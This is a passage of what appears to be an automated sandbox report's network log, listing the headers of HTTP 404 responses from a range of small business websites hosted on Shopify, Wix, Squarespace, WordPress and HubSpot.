_shopify_y=515ff771-2004-4d7a-97e4-9d1e125776c6; Expires=Thu, 19-Dec-24 02:13:31 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=618f3f96-b5e6-43ca-a27c-240365815bb2; Expires=Wed, 20-Dec-23 02:43:31 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 7475083X-ShardId: 60Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/htmlContent-Length: 2556Connection: closeStrict-Transport-Security: max-age=31536000Content-Security-Policy: upgrade-insecure-requestsX-Hs-Https-Only: workerX-HS-Reason: Expected 404 for pathReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YSYKedcfWZQj2yrinSripZrFU2BF6faUw6JUuwd6Ok9iVJF84UVYwlsBWzM9Fm57Q3qy7wxLrb5UTHE8%2Bv8ElBkX3nj05iwZ4A4bl9rMGWSDb98a%2Btnh67gYtVejYbCJMvoAdo90RepG9RhSStc%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dd96c1521c7-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:32 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:32 GMT; SameSite=LaxSet-Cookie: _shopify_y=cb311957-03f9-4347-a5cc-d25ba0515dd6; Expires=Thu, 19-Dec-24 02:13:32 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=d13cd284-da33-4c42-85ff-98653f60e3fb; Expires=Wed, 20-Dec-23 02:43:32 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingSet-Cookie: PHPSESSID=58534ccdc77568bb0c0a7d02de432123; path=/Pragma: no-cacheSet-Cookie: aiovg_rand_seed=4011426926; expires=Thu, 21-Dec-2023 02:13:31 GMT; Max-Age=86400; path=/Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:32 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mAIsPciTwY1zZf9VhMdjdR%2F%2B%2FMC0V66fIXy1J6DQChTbH%2BM4gL70L2%2BRD0bCLnafXHmFAUO6tXlEsjaXGSmcGMfGLRh2Lw3uLP0A5bZ9Jce%2FfrP4R8XUN8Z60DouYwyV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845ddb8c608da9-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=4ff266dda3ee08c47edace8900d173b5; expires=Wed, 20-Dec-2023 03:13:32 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 06:35:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038412.3351655102320425972Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:32 GMTX-Served-By: cache-dfw-kdfw8210050-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalhQnp3AnoaBL5aYYhX4usf2y2rv9nfBCisdo0l0qkYhKMdqyjlW4bTUd/vHGV/XDaA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Powered-By: PHP/7.4.33Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=v91armkkpiu55v9b4ilm5pccmf; path=/Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, AcceptVary: Accept-Encoding,User-Agent
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:32 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:32 GMTEtag: W/"6489318175bdb8a8994fb802892e57ee"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BeSB7aCm4Ax4ZWRhMGFkYWRjNjA2MGMwNDg0MjQ1OTRiYTFhNmE3;Secure;Path=/Strict-Transport-Security: max-age=0Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: tR8mr85v/JXZbtzLyConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:32 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038412.909165516691527481Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:32 GMTX-Served-By: cache-dfw-kdfw8210112-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLseIu4dGXwqDk+m1otFKtK/V0TBmJ+uLPQ4OZPC1VSMH,2d58ifebGbosy5xc+FRalrV91c9IXaI4k7yD7eLjqadvZ+42rZnypKPQWCyUorxk2CQYRnV6AUZwSxvRZCs5CA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,j59Gyti1PsMH6A+kxnM0t35dbfOFCYSohZzWUnx4ayk=,0gGrL7iazMoiuqlb7dEO3dDsKQWTSD/PxwQPpd67SEhoDATN0mDKMTaqoZUfJQh4UBKsSDIan9rjPNjFd8v1tg==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:32 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:32 GMTEtag: W/"d3b928bd5836fb6282df4e5a69977809"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BZd6bYWqITkbMWIyYmQyN2JmYTA2ODNkMjFhYTRmNjE5ZmUzMGVi;Secure;Path=/Strict-Transport-Security: max-age=15552000Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: 28eaAkNv/58EQu8VgX-Frame-Options: SAMEORIGINX-Frame-Options: SAMEORIGINConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAge: 0Content-Type: text/html;charset=utf-8Date: Wed, 20 Dec 2023 02:13:33 GMTEtag: W/"d3b928bd5836fb6282df4e5a69977809"Expires: Thu, 01 Jan 1970 00:00:00 GMTServer: SquarespaceSet-Cookie: crumb=BYq4aD1LGcviMDdjZTFlMDI2ZDJhZDhhMGI0MTI3MzkxNWU2MDU0;Secure;Path=/Strict-Transport-Security: max-age=15552000Vary: Accept-EncodingX-Content-Type-Options: nosniffX-Contextid: VHXQZnIJ/5UcyjfiyX-Frame-Options: SAMEORIGINX-Frame-Options: SAMEORIGINConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:33 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:33 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn99.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:33 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=9e092446f956efccd5dcb8fb7c88b1b9; expires=Wed, 20-Dec-2023 03:13:33 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:46 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845de20ed6333d-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 44x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-wshlzx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: acf52089-3558-4f7b-93a4-3520ebcc3758X-HubSpot-NotFound: truex-request-id: acf52089-3558-4f7b-93a4-3520ebcc3758X-Trace: 2B61FB82760D2E39935DBEA25CC28F33E33FCF81AF000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aYRzKrKNyLsioHLlHvrnlZPLhlx9U1T%2FHKXtXnILEho%2BwylePk6X5cof0wuUxglZmVej%2B88j7cvjKrG0KPImC1SVst9Ng2WKfrcidHHLo4ldLIz4HO%2BXOiI%2B1gtSbDB9TgVfmGqPKyse%2FgvHlHY%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845de33e1e748e-MIACF-Cache-Status: EXPIREDCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 58x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-fj6snx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: c43cb566-4973-46ed-b2d8-3ecc8783f151X-HubSpot-NotFound: truex-request-id: c43cb566-4973-46ed-b2d8-3ecc8783f151X-Trace: 2BA555F2A193A0219275DBE3D793930189EF7F900F000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dub2NO80AI5VsBLa8233pDJMn4qc%2F3CFnKUmpdNZsf6gxAycoM6H%2FFOjIFc1lJEtUL%2B8RfWmlwe71IQphkfOs0WU3IFsmOoU9ariovuBWnn63bAraPf1toxFhgT%2BpN97UoGJ5W4AGx3HaMAbRSw%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038413.5861655778387232665Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:33 GMTX-Served-By: cache-dfw-kdfw8210158-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLl77sBeKLtHVaXbFQUDNQYPu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalv//A71UTHA8zBn3qrrYJhirRHE0P2MqKt+/7CrwPvcWcmX6lWjNTcU5p3zYz/P9rw==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,j59Gyti1PsMH6A+kxnM0t35dbfOFCYSohZzWUnx4ayk=,0gGrL7iazMoiuqlb7dEO3dDsKQWTSD/PxwQPpd67SEhoDATN0mDKMTaqoZUfJQh4UBKsSDIan9rjPNjFd8v1tg==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038413.61416519232601710185Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:33 GMTX-Served-By: cache-dfw-kdfw8210121-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLmUP/ddjOIocgASMjPBcXg4O5u3dMxPR3QRc6kpLZVuH,2d58ifebGbosy5xc+FRaltNCL/C11JU0X3G1w9xeRFORcW/AWfuAWLl5GdVFqHsPI/pY0vaPNaoa5AoLTSJErA==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,JrkgFGO7U7bjOEi/EuK4OmGy0AMuDj9WzV7MOlw9PWo=,0gGrL7iazMoiuqlb7dEO3e/kqv1crbHRlba79Pts+CcB8BMFbAfksPc98d03q8KwMzrlPmWu4KwuxqFFXL+rxQ==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038413.6261650600898211357Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:33 GMTX-Served-By: cache-dfw-kdfw8210159-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLlAwLb1tXR23DYhcoMEdpYDu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalm2e3vKMneoZWUbWSsLJeE/1dUFeaHZPYHTeASrIlbw/4myTClbTZotDnmF6uVHxMw==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:f0fb7e3309d3f2f76aedd45312b6a1f9"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:33 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:33 GMT; SameSite=LaxSet-Cookie: _shopify_y=849b32a6-03d8-453a-a5ec-d3ec70a5b5e8; Expires=Thu, 19-Dec-24 02:13:33 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=0924e36f-cd29-4c2d-82c0-bc708b7b40f0; Expires=Wed, 20-Dec-23 02:43:33 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 7475083X-ShardId: 60Vary: AcceptContent-Language: en-AUpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:33 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:33 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:33 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu91.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:34 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:34 GMT; SameSite=LaxSet-Cookie: _shopify_y=52114d99-cf7b-4a08-9644-535ae5b19f66; Expires=Thu, 19-Dec-24 02:13:34 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=a9597e53-c656-497f-b373-7c964f9018bc; Expires=Wed, 20-Dec-23 02:43:34 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: en-USpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=4ff266dda3ee08c47edace8900d173b5; expires=Wed, 20-Dec-2023 03:13:34 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:45 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:34 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uESBRkuxp%2B2jHTBLgikzoHRurQlcnaD4zF1bkn6AuDQputkERM3EAWrHa9upsHJx9ItG7MpymxEKd%2FibJJkclrxvtJLvl3Q01go%2BvTwPGVhpCPDSeGzn5xnAiFXOAk8p"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845de7e94131ea-MIAalt-svc: h3=":443"; ma=86400
